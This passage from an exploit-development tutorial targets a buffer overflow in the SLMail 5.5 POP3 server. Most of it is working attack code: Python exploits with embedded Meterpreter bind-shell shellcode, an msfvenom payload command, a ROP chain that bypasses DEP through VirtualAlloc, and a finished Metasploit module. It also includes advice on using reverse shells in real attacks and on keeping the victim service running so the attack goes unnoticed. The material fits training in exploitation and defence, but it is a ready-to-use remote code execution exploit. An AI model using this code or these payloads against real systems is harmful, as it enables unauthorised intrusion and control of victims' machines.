!mona compare -f c:\logs\slmail\bytearray.bin -a 0x01cea154

The next bad char is 0x0d. Repeat the process:

!mona bytearray -cpb \x00\x0a\x0d 

Update the exploit, attach the  process to the debugger, run the exploit and then compare again:

!mona compare -f c:\logs\slmail\bytearray.bin -a 0x01cea154

Here is the mona.py result:

As can be seen, the comparison results window says “Unmodified”, which means the byte array in memory is equal to the content of the file bytearray.bin.

Now we know the bad characters affecting our exploit are 0x00 0x0a 0x0d. We just need to put together all the information we have in our proof-of-concept exploit:

import sys
import socket

# BadChars = \x00\x0a\x0d
shellcode=(\xcc\xcc\xcc\xcc) # 0xcc is a breakpoint to stop execution.
 
eip = '\xd8\xfc\x91\x7c' #0x7c91fcd8 : jmp esp [ntdll.dll] (on Little endian)
buff_size = 6000
buffer ='A'*4654
buffer += eip
buffer += shellcode
buffer += 'C'*(buff_size - len(buffer))
HOST = '127.0.0.1'
PORT = 110

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.close()

In this version of the exploit we use the byte 0xcc that is the opcode of a breakpoint instruction as shellcode. That means that once the exploit is launched our process will stop on 0xcc.

For EIP we use an address extracted from the file c:\logs\slmail\jmp.txt. Remember that x86 architecture stores the values in memory using Little Endian, which means the memory address would have to be reversed  byte by byte (for example 0x7c91fcd8 has to be converted to \xd8\xfc\x91\x7c).

Note: be careful with bad characters when you pick up the jmp esp instruction.

Now, attach the process to Immunity Debugger again, set a breakpoint to the address 0x7c91fcd8 (jmp esp) run the process and execute the exploit:

Once the flow stops on the breakpoint we set on jmp esp, move step-by-step in the debugger using the F7 key. Once you press F7, you can check that the next instruction to execute is a CC (the first byte of our shellcode).

That means we are controlling the execution flow.

Now we need to replace the current shellcode with a real one, maybe a Meterpreter bind tcp generated with Metasploit.

Avoid using bind shells in real-world exploits because anyone with the appropriate network access could connect to them and gain unauthorised access to the victim machine. For training conditions bind shells are fine. In the real world it is much safer to launch a reverse shell to a computer under our control.

Note that when you generate a Metasploit shellcode encoded to avoid certain bad characters, within the payload itself is a routine in charge to decode the payload. That routine uses the stack to push and pop values, so we need to move ESP to a location above the shellcode injected in memory (remember we were putting the shellcode just where ESP was pointing).

First, we use Kali Linux with Metasploit to generate the shellcode. The command to generate the shellcode is:

msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.65.176 -e x86/shikata_ga_nai -b ‘\x00\x0a\x0d’ -f c

This shellcode will bind TCP port 4444 (default port on Metasploit that can be changed with the LPORT option) on the interface with the IP address 192.168.65.176 to connect a Meterpreter session:

Then, to ensure ESP is not pointing to the shellcode when the decoder routine is executed, we add an instruction to decrement ESP (sub esp 240h). To obtain the opcodes that represent the instruction, we use a tool from the Metasploit Framework, metasm_shell.rb.

In the following screenshot we see the use of metasm_shell.rb to generate the opcodes we need:

As we can see, if we generate the opcodes of “sub esp,240h” the opcodes generated contain bad characters (0x00). We solve this by adding to esp a negative number: “add esp,-240h”. The “h” in the operation indicates that we are adding 240 in hex, not in decimal.

Then we add the opcodes to the start of the shellcode and insert it in our exploit:

import sys
import socket

#0x7c91fcd8 : jmp esp |  {PAGE_EXECUTE_READ} [ntdll.dll]
EIP = '\xd8\xfc\x91\x7c'
move_esp = \x81\xc4\xc0\xfd\xff\xff # add esp,-240h

# Metasploit meterpreter/bind_tcp LPORT=4444 LHOST=192.168.65.176
shellcode = (
\xba\xcc\x95\x04\x48\xd9\xc8\xd9\x74\x24\xf4\x5b\x31\xc9\xb1
\x4c\x83\xc3\x04\x31\x53\x0f\x03\x53\xc3\x77\xf1\xb4\x33\xf5
\xfa\x44\xc3\x9a\x73\xa1\xf2\x9a\xe0\xa1\xa4\x2a\x62\xe7\x48
\xc0\x26\x1c\xdb\xa4\xee\x13\x6c\x02\xc9\x1a\x6d\x3f\x29\x3c
\xed\x42\x7e\x9e\xcc\x8c\x73\xdf\x09\xf0\x7e\x8d\xc2\x7e\x2c
\x22\x67\xca\xed\xc9\x3b\xda\x75\x2d\x8b\xdd\x54\xe0\x80\x87
\x76\x02\x45\xbc\x3e\x1c\x8a\xf9\x89\x97\x78\x75\x08\x7e\xb1
\x76\xa7\xbf\x7e\x85\xb9\xf8\xb8\x76\xcc\xf0\xbb\x0b\xd7\xc6
\xc6\xd7\x52\xdd\x60\x93\xc5\x39\x91\x70\x93\xca\x9d\x3d\xd7
\x95\x81\xc0\x34\xae\xbd\x49\xbb\x61\x34\x09\x98\xa5\x1d\xc9
\x81\xfc\xfb\xbc\xbe\x1f\xa4\x61\x1b\x6b\x48\x75\x16\x36\x04
\xba\x1b\xc9\xd4\xd4\x2c\xba\xe6\x7b\x87\x54\x4a\xf3\x01\xa2
\xad\x2e\xf5\x3c\x50\xd1\x06\x14\x96\x85\x56\x0e\x3f\xa6\x3c
\xce\xc0\x73\xa8\xc6\x67\x2c\xcf\x2a\xd7\x9c\x4f\x85\xbf\xf6
\x5f\xfa\xdf\xf8\xb5\x93\x77\x05\x36\x8d\xdb\x80\xd0\xc7\xf3
\xc4\x4b\x70\x31\x33\x44\xe7\x4a\x11\x2e\x27\xc1\xca\x66\xc0
\x9e\x02\xb0\xef\x1f\x01\x96\x67\xab\x46\x22\x99\xac\x42\xc2
\x33\x52\x07\xe9\x95\x05\xbf\xf3\xc0\x61\x60\x0b\x27\xf2\x67
\xf3\xb6\xd9\x1c\xc2\x2c\x61\x4b\x2b\xa1\x61\x8b\x7d\xab\x61
\xe3\xd9\x8f\x32\x16\x26\x1a\x27\x8b\xb3\xa5\x11\x7f\x13\xce
\x9f\xa6\x53\x51\x60\x8d\xe7\x96\x9e\x50\xef\x67\x5d\x85\x29
\x12\x88\x15\x0e\x2d\xff\x38\x27\xa4\xff\x6f\x37\xed
)
 
buffer_lenght = 6000
buffer = 'A' * 4654
buffer += EIP
buffer += move_esp
buffer += shellcode
buffer += 'C' * (buffer_lenght-len(buffer))

HOST = '127.0.0.1'
PORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.close()

Then restart the process and execute the exploit. If all goes right, this is the result on the Windows box:

And now that port can be used to connect a Meterpreter session from our Kali Linux:

SLMail 5.5 got Pwned!!!

 

DEP Bypass

DEP stands for Data Execution Prevention and is a countermeasure that avoids code execution on the stack.

First we enable DEP for all programs on the Windows XP box (by default it is just enabled for essential Windows programs and processes). The box must be rebooted for the changes to take effect.

Once DEP is enabled, try to run the exploit with the process slmail attached to the debugger.

As we can see, there is an access violation when executing “add ESP,-240”, just the first instruction we used in our exploit to move ESP away from the shellcode.

This is because DEP forbids the execution of code in the stack; right now the stack just contains pointers to instructions that are in other parts of memory where the code execution is permitted.

To solve this, we can use the return to libc technique; simply look in memory for pointers to instructions we want to execute followed by a RET instruction to chain all the instructions on the stack.

This technique is known as ROP (return-oriented programming), the set of instructions referenced by the pointers are known as ROP gadgets, and the set of pointers to instructions is the ROP chain.

A little bit of ROP theory:

EIP is the instruction pointer, and its value is the address of the following instruction being executed.

A RET instruction just pops the top value on the stack and loads it in EIP, then the value on the top of the stack (pointed to by ESP) will be the next instruction to call.

If we overwrite EIP with a pointer to RET instructions and put a set of pointers to instructions that ends with a RET on the stack, we manage to chain all those instructions to perform the actions we want (take note that instructions like “push” or “pop” modify the stack, so it needs to be set up properly).

Here is an example of how ROP works:

We overwrite EIP with address 0x77c46027 (pop ecx, ret). Then we set up the stack to make sure the “pop ecx” instruction pops the “0xffffffff” value to ECX and the RET, and gets the pointer to the next instructions to execute.

This is the stack after executing those instructions:

We are ready to execute the next instruction in the chain.

 

Using ROP we can try to make an entire shellcode if we find enough gadgets to do it, but this very often is not possible. Luckily Windows offers some API calls that make our life easy. Using the API functions we can change the protection mode of a piece of memory or even allocate more memory for the process, making it executable. Once achieved, we can put our shellcode in that piece of memory and execute it.

There are many API functions we can use depending on Windows version, but VirtualAlloc and VirtualProtect are reliable and work in most Windows versions.

A description of VirtualAlloc can be found at https://msdn.microsoft.com/en-us/library/windows/desktop/aa366887(v=vs.85).aspx.

VirtualAlloc reserves or commits a region of pages in the virtual address space of the calling process.


The parameters are the starting address of the region to allocate, the size of the region in bytes, the type of allocation, and the memory protection for that region.

If we put “0x40” (PAGE_EXECUTE_READWRITE) in the last parameter, we could execute code in that memory region.

A description of VirtualProtect can be found at https://msdn.microsoft.com/en-us/library/windows/desktop/aa366898(v=vs.85).aspx

VirtualProtect changes the protection on a region of committed pages in the virtual address space of the calling process.

 

Syntax

Here we pass a pointer to an address that describes the start of the region, the size in bytes of the region whose protection attributes are to be changed, the type of protection desired (0x40), and a pointer to a variable that receives the current protection value. Ifs this parameter is null or points to a non-valid address the function fails.

After the theory about ROP and Windows API functions, let’s see how to use this to write an exploit with the help of mona.py.

We call “!mona rop” in Immunity Debugger, creating the files rop.txt, rop_chains.txt, rop_suggestions.txt, and stackpivot.txt at c:\logs\slmail\.

In rop_chains.txt you can find some ready-to-use functions to make a rop chain calling VirtualAlloc or VirtualProtect to change the protection of the stack. You are going to need this in your exploit, and mona.py gives it to you in the form of functions in Python, Ruby, or other languages.

This is the Python function generated by mona.py to use VirtualAlloc in our exploit:

def create_rop_chain():

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
      0x0041c323,  # POP EAX # RETN [SLmail.exe]
      0x5d091330,  # ptr to &VirtualAlloc() (skipped module criteria, check if pointer is reliable !) [IAT COMCTL32.dll]
      0x00422ce9,  # MOV EAX,DWORD PTR DS:[EAX+4] # RETN [SLmail.exe]
      0x004155f2,  # PUSH EAX # ADD EAX,E2EB0000 # MOV EAX,ESI # POP ESI # RETN [SLmail.exe]
      0x00426fd1,  # POP EBP # RETN [SLmail.exe]
      0x00000000,  # &  [Unable to find ptr to 'JMP ESP']
      0x00432593,  # POP EBX # RETN [SLmail.exe]
      0x00000001,  # 0x00000001-> ebx
      0x00000000,  # [-] Unable to find gadget to put 00001000 into edx
      0x004017c9,  # POP ECX # RETN [SLmail.exe]
      0x00000040,  # 0x00000040-> ecx
      0x004233f0,  # POP EDI # RETN [SLmail.exe]
      0x004233f1,  # RETN (ROP NOP) [SLmail.exe]
      0x0041592e,  # POP EAX # RETN [SLmail.exe]
      0x90909090,  # nop
      0x00000000,  # [-] Unable to find pushad gadget
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

This ROP chain is not going to work in our exploit because there are some gadgets missing and because of the bad characters.

By default mona.py excludes the OS DLLs when looking for gadgets to make exploits more reliable, but if no valid gadgets are found we can force mona.py to include them with the -m option.

So we call the following command:

!mona rop -cpb ‘\x00\x0a\x0d’ -m msvcrt.dll

This is the Python function generated in rop_chains.txt:

def create_rop_chain():

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
      0x77c4c5cd,  # POP EBP # RETN [msvcrt.dll]
      0x77c4c5cd,  # skip 4 bytes [msvcrt.dll]
      0x77c46e97,  # POP EBX # RETN [msvcrt.dll]
      0xffffffff,  # 
      0x77c127e5,  # INC EBX # RETN [msvcrt.dll]
      0x77c127e1,  # INC EBX # RETN [msvcrt.dll]
      0x77c4debf,  # POP EAX # RETN [msvcrt.dll]
      0x2cfe1467,  # put delta into eax (-> put 0x00001000 into edx)
      0x77c4eb80,  # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
      0x77c58fbc,  # XCHG EAX,EDX # RETN [msvcrt.dll]
      0x77c4e0da,  # POP EAX # RETN [msvcrt.dll]
      0x2cfe04a7,  # put delta into eax (-> put 0x00000040 into ecx)
      0x77c4eb80,  # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
      0x77c14001,  # XCHG EAX,ECX # RETN [msvcrt.dll]
      0x77c2e93d,  # POP EDI # RETN [msvcrt.dll]
      0x77c47a42,  # RETN (ROP NOP) [msvcrt.dll]
      0x77c2eb03,  # POP ESI # RETN [msvcrt.dll]
      0x77c2aacc,  # JMP [EAX] [msvcrt.dll]
      0x77c4ded4,  # POP EAX # RETN [msvcrt.dll]
      0x77c1110c,  # ptr to &VirtualAlloc() [IAT msvcrt.dll]
      0x77c12df9,  # PUSHAD # RETN [msvcrt.dll]
      0x77c35459,  # ptr to 'push esp # ret ' [msvcrt.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

As can be seen, there are no missing pointers causing errors, and the opcodes do not contain bad characters.

This ROP chain to VirtualAlloc is going to make the stack executable, so we could execute our shellcode like when DEP was in OptIn mode (OptIn is only enabled for essential Windows programs and processes).

We add the chain just before the first instruction we need to execute on the stack.

Before the new exploit is finished, we must change the instruction we put in EIP for a ret instruction that loads in EIP the next pointer in the stack. Remember we use a jmp esp instruction, but now we can’t execute code in the stack, so when the jump lands in the stack, the data there are not opcodes, so it is not going to work. We can look in rop.txt for gadgets to use:

0x77c46027 :  # POP ECX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}

The gadget above extracts the first value in the stack to ECX and then makes a RET that loads the following value onto the stack on EIP. That means that we need to put four bytes between the EIP and the rop chain to avoid the first gadget of the chain being removed.

Here is the entire exploit.

# DEP Bypass POC
import sys
import socket
import struct

 

#0x77c46027 :  # POP ECX # RETN    ** [msvcrt.dll] ** 
EIP = struct.pack('<I', 0x77c46027)
move_esp = \x81\xc4\xc0\xfd\xff\xff # add esp,-240h

# Metasploit meterpreter/bind_tcp LPORT=4444 LHOST=192.168.65.176
shellcode = (
\xba\xcc\x95\x04\x48\xd9\xc8\xd9\x74\x24\xf4\x5b\x31\xc9\xb1
\x4c\x83\xc3\x04\x31\x53\x0f\x03\x53\xc3\x77\xf1\xb4\x33\xf5
\xfa\x44\xc3\x9a\x73\xa1\xf2\x9a\xe0\xa1\xa4\x2a\x62\xe7\x48
\xc0\x26\x1c\xdb\xa4\xee\x13\x6c\x02\xc9\x1a\x6d\x3f\x29\x3c
\xed\x42\x7e\x9e\xcc\x8c\x73\xdf\x09\xf0\x7e\x8d\xc2\x7e\x2c
\x22\x67\xca\xed\xc9\x3b\xda\x75\x2d\x8b\xdd\x54\xe0\x80\x87
\x76\x02\x45\xbc\x3e\x1c\x8a\xf9\x89\x97\x78\x75\x08\x7e\xb1
\x76\xa7\xbf\x7e\x85\xb9\xf8\xb8\x76\xcc\xf0\xbb\x0b\xd7\xc6
\xc6\xd7\x52\xdd\x60\x93\xc5\x39\x91\x70\x93\xca\x9d\x3d\xd7
\x95\x81\xc0\x34\xae\xbd\x49\xbb\x61\x34\x09\x98\xa5\x1d\xc9
\x81\xfc\xfb\xbc\xbe\x1f\xa4\x61\x1b\x6b\x48\x75\x16\x36\x04
\xba\x1b\xc9\xd4\xd4\x2c\xba\xe6\x7b\x87\x54\x4a\xf3\x01\xa2
\xad\x2e\xf5\x3c\x50\xd1\x06\x14\x96\x85\x56\x0e\x3f\xa6\x3c
\xce\xc0\x73\xa8\xc6\x67\x2c\xcf\x2a\xd7\x9c\x4f\x85\xbf\xf6
\x5f\xfa\xdf\xf8\xb5\x93\x77\x05\x36\x8d\xdb\x80\xd0\xc7\xf3
\xc4\x4b\x70\x31\x33\x44\xe7\x4a\x11\x2e\x27\xc1\xca\x66\xc0
\x9e\x02\xb0\xef\x1f\x01\x96\x67\xab\x46\x22\x99\xac\x42\xc2
\x33\x52\x07\xe9\x95\x05\xbf\xf3\xc0\x61\x60\x0b\x27\xf2\x67
\xf3\xb6\xd9\x1c\xc2\x2c\x61\x4b\x2b\xa1\x61\x8b\x7d\xab\x61
\xe3\xd9\x8f\x32\x16\x26\x1a\x27\x8b\xb3\xa5\x11\x7f\x13\xce
\x9f\xa6\x53\x51\x60\x8d\xe7\x96\x9e\x50\xef\x67\x5d\x85\x29
\x12\x88\x15\x0e\x2d\xff\x38\x27\xa4\xff\x6f\x37\xed
)

def create_rop_chain():
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
      0x77c4c5cd,  # POP EBP # RETN [msvcrt.dll]
      0x77c4c5cd,  # skip 4 bytes [msvcrt.dll]
      0x77c46e97,  # POP EBX # RETN [msvcrt.dll]
      0xffffffff,  # 
      0x77c127e5,  # INC EBX # RETN [msvcrt.dll]
      0x77c127e1,  # INC EBX # RETN [msvcrt.dll]
      0x77c4debf,  # POP EAX # RETN [msvcrt.dll]
      0x2cfe1467,  # put delta into eax (-> put 0x00001000 into edx)
      0x77c4eb80,  # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
      0x77c58fbc,  # XCHG EAX,EDX # RETN [msvcrt.dll]
      0x77c4e0da,  # POP EAX # RETN [msvcrt.dll]
      0x2cfe04a7,  # put delta into eax (-> put 0x00000040 into ecx)
      0x77c4eb80,  # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
      0x77c14001,  # XCHG EAX,ECX # RETN [msvcrt.dll]
      0x77c2e93d,  # POP EDI # RETN [msvcrt.dll]
      0x77c47a42,  # RETN (ROP NOP) [msvcrt.dll]
      0x77c2eb03,  # POP ESI # RETN [msvcrt.dll]
      0x77c2aacc,  # JMP [EAX] [msvcrt.dll]
      0x77c4ded4,  # POP EAX # RETN [msvcrt.dll]
      0x77c1110c,  # ptr to &VirtualAlloc() [IAT msvcrt.dll]
      0x77c12df9,  # PUSHAD # RETN [msvcrt.dll]
      0x77c35459,  # ptr to 'push esp # ret ' [msvcrt.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

buffer_lenght = 6000
buffer = 'A' * 4654
buffer += EIP
buffer += ‘\xff\xff\xff\xff’ # paddign to put in ECX
buffer += create_rop_chain()
buffer += move_esp
buffer += shellcode
buffer += 'C' * (buffer_lenght-len(buffer))

HOST = '127.0.0.1'
PORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.close()

 

Now, let’s try the new version of the exploit. Once executed we can see the following in a command prompt:

And now let’s try to connect from Kali Linux:

As we can see, we have a Meterpreter shell on the remote Windows box.

Pwned!!!! again.

 

From exploit to Metasploit

Once we have our Python exploit working on systems with DEP and with no DEP, it’s time to port it to a Metasploit module. With the Metasploit module the process of exploiting this vulnerability will be fully automated.

Metasploit has its own modules by default on /usr/share/metasploit-framework/modules/. Here there is a folder structure for each class of module (e.g. exploits/windows/httpd) and inside these folders are the exploit files (such as  shttpd_post.rb).

There are two ways of adding modules to Metasploit. You can put your own exploit files in this folder structure; but this is not recommended because when Metasploit updates you may lose your exploits. The other way is to create the same folder structure inside the .msf4 folder in the user’s home directory.

In this case, to add a module to Metasploit we are going to create the file slmail_pass.rb in the folder $HOME/.msf4/modules/exploits/windows/pop3/.

mkdir  .msf4/modules
mkdir .msf4/modules/exploits
mkdir .msf4/modules/exploits/pop3
touch .msf4/modules/exploits/pop3/slmail_pass.rb

Next, we can copy the Metasploit exploit skeleton inside the file slmail_pass.rb. The next skeleton is available at https://www.offensive-security.com/metasploit-unleashed/Exploit_Format:

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote

      include Msf::Exploit::Remote::Tcp

      def initialize
           super(
               'Name'          => 'Simplified Exploit Module',
               'Description'   => 'This module sends a payload',
               'Author'        => 'My Name Here',
               'Payload'       => {'Space' => 1024, 'BadChars' => \x00},
               'Targets'       => [ ['Automatic', {} ] ],
               'Platform'      => 'win',
           )
           register_options( [
               Opt::RPORT(12345)
           ], self.class)
      end

      # Connect to port, send the payload, handle it, disconnect
      def exploit
           connect()
           sock.put(payload.encoded)
           handler()
           disconnect()
      end
end

Every module needs at least two functions: “initialize” and “exploit”. There is a third and optional function “check”, which is used to fingerprint the victim box and check whether or not it is vulnerable to the exploit. Apart from this you can define more auxiliary functions to help achieve your goal, just like any Python or Ruby script.

Like Python, the indentation in Ruby is very important. Metasploit modules used to use two blank spaces instead of tabulations to indent (it is advisable to set the text editor of your choice to use two spaces when you press tab).

Here’s an example .vimrc file to set up a Vim editor:

filetype indent plugin on

syntax on
set shiftwidth=2
set softtabstop=2
set expandtab

If you use this .vimrc file, and you try to paste the exploit skeleton into a file using Vim, each new line you paste will be indented, and the exploit will lose the format. To solve this, you need to execute the “:set paste” command before you paste the content to the file. Once pasted, if the indent is more than two spaces you can type “gg=G” to re-indent the file using the configured values.

The line “include Msf::Exploit::Remote::TCP” is a Mixin which lets you include classes inside classes. Mixins add new functions and let you overload existing functions, changing their behavior.

Metasploit has many ready-to-use Mixins, which you can find in the folder lib/msf/core/ inside the Metasploit parent folder.

You can find lots of information about Mixins on the Internet, for example at

https://www.offensive-security.com/metasploit-unleashed/Exploit_Mixins, or simply by looking into the source code:

Some Metasploit Mixins are:

  • Exploit::Remote::Tcp (lib/msf/core/exploit/tcp.rb)
  • Exploit::Remote::DCERPC (lib/msf/core/exploit/dcerpc.rb)
  • Exploit::Remote::SMB (lib/msf/core/exploit/smb.rb)
  • Exploit::Remote::BruteTargets (lib/msf/core/exploit/brutetargets.rb — lib/msf/core/exploit/brute.rb)
  • Exploit::Remote::HttpClient (lib/msf/core/exploit/http/client.rb)
  • Exploit::Remote::FILEFORMAT (lib/msf/core/exploit/fileformat.rb)
  • Exploit::Remote::Egghunter (lib/msf/core/exploit/egghunter.rb)
  • Exploit::Remote::Omelet (lib/msf/core/exploit/omelet.rb)
  • Exploit::Remote::Seh (lib/msf/core/exploit/seh.rb)

Now to port our exploit into Metasploit. First we are going to modify the initialize function with the information about our exploit:

def initialize
           super(
               'Name'          => 'SLMail 5.5 Pop3 Pass Exploit Module',
               'Description'   => 'This module exploits a buffer overflow when sending password on pop3 server',
               'Author'        => 'Nacho Sorribas',
               'Payload'       => {'Space' => 332, 'BadChars' => \x00\x0a\x0d},
               'Targets'       =>
                                                   [
                                                                ['Windows XP SP3 English',
                                                                                {

                                                                                                'Ret' => 0x77c46027, #0x77c46027 :  # POP ECX # RETN    ** [msvcrt.dll] **

                                                                                                'OffSet' => 4654,

 

                                                                                }
                                                                ]
                                                   ],
               'Platform'      => 'win',
           )
           register_options( [
               Opt::RPORT(110)
           ], self.class)
      end

It is important to be very accurate with the “Space” and “BadChars” options for the payload, and specify in the target the Offset to control EIP and the address of the function we are going to use to get our shellcode.

All this information can be found in the file findmsp.txt. Be careful with the Space; you can see in the file we have 430 bytes for the payload, but the rop chain, the opcodes to move ESP away from the shellcode, and the padding we used to set up the stack properly use 98 bytes of space, so there are only 332 bytes left for the payload.

Next, we copy the function create_rop_chain() from the file rop_chains.txt that mona.py generated:

def create_rop_chain()

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets =
    [
      0x77c4c5cd,  # POP EBP # RETN [msvcrt.dll]
      0x77c4c5cd,  # skip 4 bytes [msvcrt.dll]
      0x77c46e97,  # POP EBX # RETN [msvcrt.dll]
      0xffffffff,  # 
      0x77c127e5,  # INC EBX # RETN [msvcrt.dll]
      0x77c127e1,  # INC EBX # RETN [msvcrt.dll]
      0x77c4debf,  # POP EAX # RETN [msvcrt.dll]
      0x2cfe1467,  # put delta into eax (-> put 0x00001000 into edx)
      0x77c4eb80,  # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
      0x77c58fbc,  # XCHG EAX,EDX # RETN [msvcrt.dll]
      0x77c4e0da,  # POP EAX # RETN [msvcrt.dll]
      0x2cfe04a7,  # put delta into eax (-> put 0x00000040 into ecx)
      0x77c4eb80,  # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
      0x77c14001,  # XCHG EAX,ECX # RETN [msvcrt.dll]
      0x77c2e93d,  # POP EDI # RETN [msvcrt.dll]
      0x77c47a42,  # RETN (ROP NOP) [msvcrt.dll]
      0x77c2eb03,  # POP ESI # RETN [msvcrt.dll]
      0x77c2aacc,  # JMP [EAX] [msvcrt.dll]
      0x77c4ded4,  # POP EAX # RETN [msvcrt.dll]
      0x77c1110c,  # ptr to &VirtualAlloc() [IAT msvcrt.dll]
      0x77c12df9,  # PUSHAD # RETN [msvcrt.dll]
      0x77c35459,  # ptr to 'push esp # ret ' [msvcrt.dll]
    ].flatten.pack(V*)

    return rop_gadgets

  end

Next we add the logic of our exploit to the exploit() function:

def exploit
                 
size = 6000 # buffer size
move_esp = \x81\xc4\xc0\xfd\xff\xff # add esp,-240h

                buffer = 'A' * target['OffSet'] # Padding
                buffer << [target.ret].pack('V') # EIP (pop ECX, ret)
                buffer << \xff\xff\xff\xff    # Padding to put en ECX
                buffer << create_rop_chain()
                buffer << move_esp
                buffer << payload.encoded
                buffer << 'C' * (size-buffer.length) # Padding to buffer size
 
                connect()
                sock.get                 # Get the server banner
                sock.put(USER username \r\n)
                sock.get                 # Get the server response to command USER
                print_status(Sending Evil buffer...)
                sock.put(PASS +buffer+\r\n)
                handler()
                disconnect()

end

And here is the final Metasploit exploit module:

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp

  def initialize
    super(
      'Name'          => 'SLMail 5.5 Pop3 Pass Exploit Module',
      'Description'   => 'This module exploits a buffer overflow when sending password on pop3 server',
      'Author'        => 'Nacho Sorribas',
      'Payload'       => {'Space' => 332, 'BadChars' => \x00\x0a\x0d},
      'Targets'       =>
      [
        ['Windows XP SP3 English',
          {
        'Ret' => 0x77c46027, #0x77c46027 :  # POP ECX # RETN    ** [msvcrt.dll] **
        'OffSet' => 4654,

          }
        ]
      ],
        'Platform'      => 'win',
    )
      register_options( [
                       Opt::RPORT(110)
      ], self.class)
  end

  def create_rop_chain()

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets =
      [
        0x77c4c5cd,  # POP EBP # RETN [msvcrt.dll]
        0x77c4c5cd,  # skip 4 bytes [msvcrt.dll]
        0x77c46e97,  # POP EBX # RETN [msvcrt.dll]
        0xffffffff,  # 
        0x77c127e5,  # INC EBX # RETN [msvcrt.dll]
        0x77c127e1,  # INC EBX # RETN [msvcrt.dll]
        0x77c4debf,  # POP EAX # RETN [msvcrt.dll]
        0x2cfe1467,  # put delta into eax (-> put 0x00001000 into edx)
        0x77c4eb80,  # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
        0x77c58fbc,  # XCHG EAX,EDX # RETN [msvcrt.dll]
        0x77c4e0da,  # POP EAX # RETN [msvcrt.dll]
        0x2cfe04a7,  # put delta into eax (-> put 0x00000040 into ecx)
        0x77c4eb80,  # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
        0x77c14001,  # XCHG EAX,ECX # RETN [msvcrt.dll]
        0x77c2e93d,  # POP EDI # RETN [msvcrt.dll]
        0x77c47a42,  # RETN (ROP NOP) [msvcrt.dll]
        0x77c2eb03,  # POP ESI # RETN [msvcrt.dll]
        0x77c2aacc,  # JMP [EAX] [msvcrt.dll]
        0x77c4ded4,  # POP EAX # RETN [msvcrt.dll]
        0x77c1110c,  # ptr to &VirtualAlloc() [IAT msvcrt.dll]
        0x77c12df9,  # PUSHAD # RETN [msvcrt.dll]
        0x77c35459,  # ptr to 'push esp # ret ' [msvcrt.dll]
    ].flatten.pack(V*)

    return rop_gadgets

  end

  # Connect to port, send the payload, handle it, disconnect
  def exploit

    size = 6000 # buffer size
    move_esp = \x81\xc4\xc0\xfd\xff\xff # add esp,-240h

    buffer = 'A' * target['OffSet'] # Padding
    buffer << [target.ret].pack('V') # EIP (pop ECX, ret)
    buffer << \xff\xff\xff\xff                # Padding to put en ECX
    buffer << create_rop_chain()
    buffer << move_esp
    buffer << payload.encoded
    buffer << 'C' * (size-buffer.length) # Padding to buffer size
 
    connect()
    sock.get                             # Get the server banner
    sock.put(USER username \r\n)
    sock.get                             # Get the response to the command USER
    print_status(Sending Evil buffer...)
    sock.put(PASS +buffer+\r\n)
    handler()
    disconnect()
  end
end

Time to try the module. Start msfconsole, select the exploit, configure it, and launch it.

We have a Meterpreter session, so the exploit is working fine (at least with the default options).

Let’s see the options of the exploit.

The payload has an EXITFUNC option by default set to “process” ; this means when the session is closed the process is terminated, so the vulnerability could not be exploited again until the process restarts. The other option is to set EXITFUNC to “thread” (this one works only if the service attacked uses threads, and in this case a POP3 server does, like an HTTP server or an SMTP server); this means that when the session is closed the thread is terminated, but the main process is still working and the vulnerability could be exploited again. More importantly, the victim doesn’t notice the attack because the service is working normally.

Let’s try to change the EXITFUNC to “thread” and exploit the box again:

The exploit fails because none of the encoders could encode the payload in the space available. Remember we only have 332 bytes for the payload, and this is not enough space.

We can get four extra bytes if we change the EIP gadget for 0x77c34281 (#0x77c34281 :  # INC EAX # RETN    ** [msvcrt.dll] **) and leave the padding we use to put in ECX, but this is not enough.

Let’s try to find more space available. First we check out the findmsp.txt file to look for a better place for the shellcode:

[+] Looking for cyclic pattern in memory
    Cyclic pattern (normal) found at 0x015118e8 (length 6000 bytes)
    EIP contains normal pattern : 0x7a46317a (offset 4654)
    ESP (0x01cea154) points at offset 4658 in normal pattern (length 430)
    EBP contains normal pattern : 0x46307a46 (offset 4650)
[+] Examining SEH chain
[+] Examining stack (entire stack) - looking for cyclic pattern
    Walking stack from 0x01ce8000 to 0x01cefffc (0x00007ffc bytes)
    0x01ce8fe4 : Contains normal cyclic pattern at ESP-0x1170 (-4464) : offset 4092, length 996 (-> 0x01ce93c7 : ESP-0xd8c)
    0x01ce9f20 : Contains normal cyclic pattern at ESP-0x234 (-564) : offset 4094, length 994 (-> 0x01cea301 : ESP+0x1ae)
